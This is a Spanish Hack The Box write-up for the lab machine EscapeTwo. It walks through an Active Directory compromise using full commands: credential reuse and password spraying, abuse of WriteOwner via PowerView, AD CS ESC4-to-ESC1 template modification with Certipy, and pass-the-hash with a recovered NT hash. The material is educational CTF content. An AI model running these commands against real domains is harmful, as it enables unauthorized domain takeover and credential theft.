Escape2

Resumen

EscapeTwo es una máquina Windows donde partimos de las credenciales de rose sobre un entorno ya comprometido. Desde SMB recuperaremos un XLSX corrupto que repararemos modificando sus magic bytes, obteniendo así credenciales de MSSQL. Una contraseña expuesta en la configuración de SQL Server nos permitirá acceder como ryan, cuyo permiso WriteOwner sobre ca_svc podremos abusar para controlar la cuenta. Finalmente, explotaremos ESC4 modificando una plantilla de AD CS para convertirla en vulnerable a ESC1, solicitar un certificado como Administrator y acceder mediante Pass-the-Hash.

Enumeración

En esta máquina Hack The Box nos proporciona desde el comienzo unas credenciales iniciales:

rose:KxEPkKe6R8su

EscapeTwo plantea un escenario en el que partimos de una cuenta previamente comprometida, así que podemos utilizarla desde el comienzo de nuestra enumeración.

Como siempre, comenzamos descubriendo los puertos:

nmap -p- -T5 10.129.69.114

Tenemos varios servicios propios de un entorno Active Directory, pero como ya disponemos de credenciales decidí comenzar directamente por SMB.

Enumeración SMB

Primero comprobamos las credenciales:

nxc smb 10.129.69.114 -u 'rose' -p 'KxEPkKe6R8su'

Son válidas.

Enumeramos ahora los recursos compartidos:

nxc smb 10.129.69.114 -u 'rose' -p 'KxEPkKe6R8su' --shares

Entre los resultados aparecen dos shares bastante interesantes:

Accounting Department
Users

Especialmente Accounting Department, ya que no es el típico recurso administrativo de Windows y tenemos permisos para leerlo.

Nos conectamos:

smbclient //10.129.69.114/"Accounting Department" -U 'rose%KxEPkKe6R8su'

Dentro encontramos dos hojas de cálculo:

accounts.xlsx
accounting_2024.xlsx

Las descargamos:

get accounts.xlsx

get accounting_2024.xlsx

Sin embargo, al intentar abrirlas descubrimos que están corruptas.

Reparando el XLSX

En lugar de descartar los archivos, revisamos directamente su contenido hexadecimal:

hexdump -x accounts.xlsx | head -n 20

Los primeros bytes no corresponden con los esperados para un archivo XLSX.

Esto es importante porque un .xlsx moderno es realmente un conjunto de archivos XML empaquetados dentro de un contenedor ZIP.

Por lo tanto, debería comenzar con la firma:

50 4B 03 04

Estos primeros bytes son conocidos como magic bytes o file signature y permiten identificar el formato real de un archivo independientemente de su extensión.

Como referencia utilicé una lista de firmas de archivos:

https://gist.github.com/neutrinoguy/b6cdbe854b34b9fc32c7bbe88b8eb261

Si utilizamos hexdump -x, podemos ver valores como 4b50 0403 por la forma en que agrupa los bytes y el endianness. La secuencia real del archivo sigue siendo 50 4B 03 04.

Abrimos el XLSX con:

hexedit accounts.xlsx

Corregimos los primeros cuatro bytes y presionamos:

F2

para guardar.

Verificamos nuevamente:

hexdump -x accounts.xlsx | head -n 20

Ahora la cabecera es correcta y podemos abrir el Excel normalmente. 🎯

Credenciales de MSSQL

Dentro de la hoja de cálculo encontramos unas credenciales para SQL Server:

sa:MSSQLP@ssw0rd!

Tenemos MSSQL disponible, así que probamos directamente con Impacket:

impacket-mssqlclient sequel.htb/sa:'MSSQLP@ssw0rd!'@sequel.htb

La autenticación funciona y conseguimos una sesión dentro de SQL Server.

Enumerando archivos desde MSSQL

Una vez dentro podemos utilizar xp_dirtree para enumerar directorios del servidor.

Revisamos:

xp_dirtree \SQL2019\ExpressAdv_ENU

Encontramos varios archivos pertenecientes a la instalación de SQL Server.

Uno de ellos llama especialmente la atención:

sql-Configuration.INI

Los archivos de configuración siempre merecen una revisión porque frecuentemente contienen rutas, usuarios, contraseñas o parámetros utilizados durante instalaciones automatizadas.

Lo descargamos:

download \SQL2019\ExpressAdv_ENU\sql-Configuration.INI /root/HTB/Escape2/sql-Configuration.INI

Al revisar su contenido encontramos:

SQLSVCACCOUNT="SEQUEL\sql_svc"
SQLSVCPASSWORD="WqSZAF6CysDQbGb3"

Tenemos una nueva contraseña:

WqSZAF6CysDQbGb3

Password spraying

Que la contraseña pertenezca originalmente a sql_svc no significa que solamente esa cuenta pueda utilizarla.

Como ya disponía de una lista de usuarios del dominio, probé la contraseña contra todos ellos:

nxc smb 10.129.69.114 -u users.txt -p 'WqSZAF6CysDQbGb3' --continue-on-success

Y encontramos reutilización de contraseña sobre:

ryan:WqSZAF6CysDQbGb3

Comprobamos si Ryan puede utilizar WinRM:

nxc winrm 10.129.69.114 -u ryan -p WqSZAF6CysDQbGb3

NetExec confirma que tenemos acceso.

Nos conectamos:

evil-winrm -i sequel.htb -u ryan -p WqSZAF6CysDQbGb3

Ya tenemos nuestra primera shell interactiva en el sistema. 🔑

Enumeración con BloodHound

Desde Kali recolectamos la información de Active Directory utilizando BloodHound Python:

bloodhound-python -u ryan -p 'WqSZAF6CysDQbGb3' -d sequel.htb -c All -ns 10.129.69.114

Levantamos Neo4j:

neo4j start

Y abrimos BloodHound:

./BloodHound --no-sandbox

Analizando las relaciones encontramos algo especialmente interesante:

ryan --WriteOwner--> ca_svc

🎯 Tenemos un nuevo vector.

¿Qué significa WriteOwner?

WriteOwner permite a ryan cambiar el propietario del objeto **ca_svc** en Active Directory.

Esto no significa que automáticamente conozcamos su contraseña o podamos iniciar sesión como ca_svc.

Sin embargo, al convertirnos en propietarios del objeto podemos modificar posteriormente su DACL para concedernos derechos adicionales.

La cadena que vamos a utilizar será:

ryan
  ↓ WriteOwner
ca_svc
  ↓
Ryan se convierte en propietario
  ↓
Ryan se concede ResetPassword
  ↓
Cambiamos la contraseña de ca_svc
  ↓
Controlamos ca_svc

Abusando de WriteOwner

Desde nuestra sesión de Evil-WinRM cargamos PowerView:

Import-Module .\PowerView\.ps1

Primero cambiamos el propietario de ca_svc:

Set-DomainObjectOwner -Identity "ca_svc" -OwnerIdentity "ryan"

Ahora que controlamos el objeto, modificamos su ACL para conceder a Ryan el derecho de resetear su contraseña:

Add-DomainObjectAcl -TargetIdentity "ca_svc" -Rights ResetPassword -PrincipalIdentity "ryan"

Definimos una nueva contraseña:

$cred = ConvertTo-SecureString "Password123" -AsPlainText -Force

Y la establecemos sobre ca_svc:

Set-DomainUserPassword -Identity "ca_svc" -AccountPassword $cred

A partir de este momento controlamos:

ca_svc:Password123

Enumeración de AD CS

El nombre ca_svc resulta bastante sugerente, pero el nombre de la cuenta por sí solo no demuestra que podamos atacar AD CS.

Tenemos que comprobarlo.

Utilizamos Certipy para buscar configuraciones vulnerables:

certipy-ad find -u ca_svc -p 'Password123' -dc-ip 10.129.69.114 -vulnerable

Revisamos el reporte generado:

cat 20260926062049_Certipy.txt

Encontramos:

ESC4

La plantilla vulnerable es:

DunderMifflinAuthentication

¿Qué es ESC4?

ESC4 aparece cuando un usuario dispone de permisos peligrosos de escritura sobre un Certificate Template de Active Directory Certificate Services.

El problema no es necesariamente que la plantilla ya permita suplantar a otro usuario.

El problema es que podemos modificar su configuración.

En nuestro caso ca_svc tiene permisos suficientes sobre DunderMifflinAuthentication, por lo que podemos convertir una plantilla inicialmente no explotable en una configuración vulnerable a ESC1.

La cadena será:

ESC4
  ↓
Podemos modificar DunderMifflinAuthentication
  ↓
Guardamos configuración original
  ↓
Escribimos configuración vulnerable
  ↓
La plantilla pasa a ser explotable como ESC1
  ↓
Solicitamos certificado como Administrator

Guardando la configuración original

Antes de tocar la plantilla guardamos su configuración actual:

certipy-ad template -u 'ca_svc@sequel.htb' -p 'Password123' -template 'DunderMifflinAuthentication' -dc-ip 10.129.69.114 -save-configuration old.json

Esto nos genera:

old.json

Es una buena práctica porque nos permite conocer o restaurar posteriormente la configuración previa.

ESC4 → ESC1

Ahora utilizamos Certipy para escribir una configuración vulnerable por defecto sobre la plantilla:

certipy-ad template -u 'ca_svc@sequel.htb' -p 'Password123' -template 'DunderMifflinAuthentication' -dc-ip 10.129.69.114 -write-default-configuration

Este es el punto fundamental del ataque.

No estamos explotando ESC1 todavía.

Estamos aprovechando ESC4 para modificar la plantilla y dejarla en unas condiciones que posteriormente podamos explotar como ESC1.

Explotando ESC1

Una vez modificada DunderMifflinAuthentication, podemos solicitar un certificado indicando una identidad diferente a la nuestra.

En nuestro caso:

administrator@sequel.htb

Ejecutamos:

certipy-ad req -u ca_svc@sequel.htb -p Password123 -upn administrator@sequel.htb -target sequel.htb -ca sequel-DC01-CA -template DunderMifflinAuthentication

Aquí está la esencia de ESC1.

La solicitud se realiza utilizando ca_svc, pero indicamos como UPN:

administrator@sequel.htb

Debido a la configuración vulnerable que acabamos de escribir sobre la plantilla, la CA acepta esa identidad y nos entrega un certificado válido para Administrator.

Certipy genera:

administrator.pfx

🔥 Ya disponemos de material criptográfico válido para autenticarnos como Administrator.

Autenticación con el certificado

Utilizamos el PFX:

certipy-ad auth -pfx administrator.pfx -domain sequel.htb -dc-ip 10.129.69.114

Certipy utiliza el certificado para autenticarse mediante PKINIT y consigue recuperar el NT hash correspondiente a Administrator:

7a8d4e04986afa8ed4060f75e5a0b3ff

Intentar crackearlo sería una posibilidad, pero realmente no lo necesitamos.

Podemos utilizar directamente Pass-the-Hash.

Pass-the-Hash

Nos conectamos mediante Evil-WinRM:

evil-winrm -i sequel.htb -u administrator -H 7a8d4e04986afa8ed4060f75e5a0b3ff

La autenticación funciona.

Finalmente:

type root.txt

Tenemos control administrativo del equipo. 🚩

Conclusiones

EscapeTwo encadena varios errores muy diferentes: un XLSX manipulado revela acceso a MSSQL, la configuración de SQL expone una contraseña reutilizada por ryan, y WriteOwner permite tomar control de ca_svc. Desde ahí, ESC4 nos permite modificar DunderMifflinAuthentication, convertirla en vulnerable a ESC1 y obtener finalmente un certificado válido como Administrator.

Herramientas utilizadas

• Nmap
• NetExec
• smbclient
• hexdump
• hexedit
• Impacket
• mssqlclient
• Evil-WinRM
• BloodHound
• BloodHound Python
• Neo4j
• PowerView
• Certipy

Referencias

• File Signatures / Magic Bytes: https://gist.github.com/neutrinoguy/b6cdbe854b34b9fc32c7bbe88b8eb261
• Resolución en directo: https://www.youtube.com/live/1xRSp0KADTQ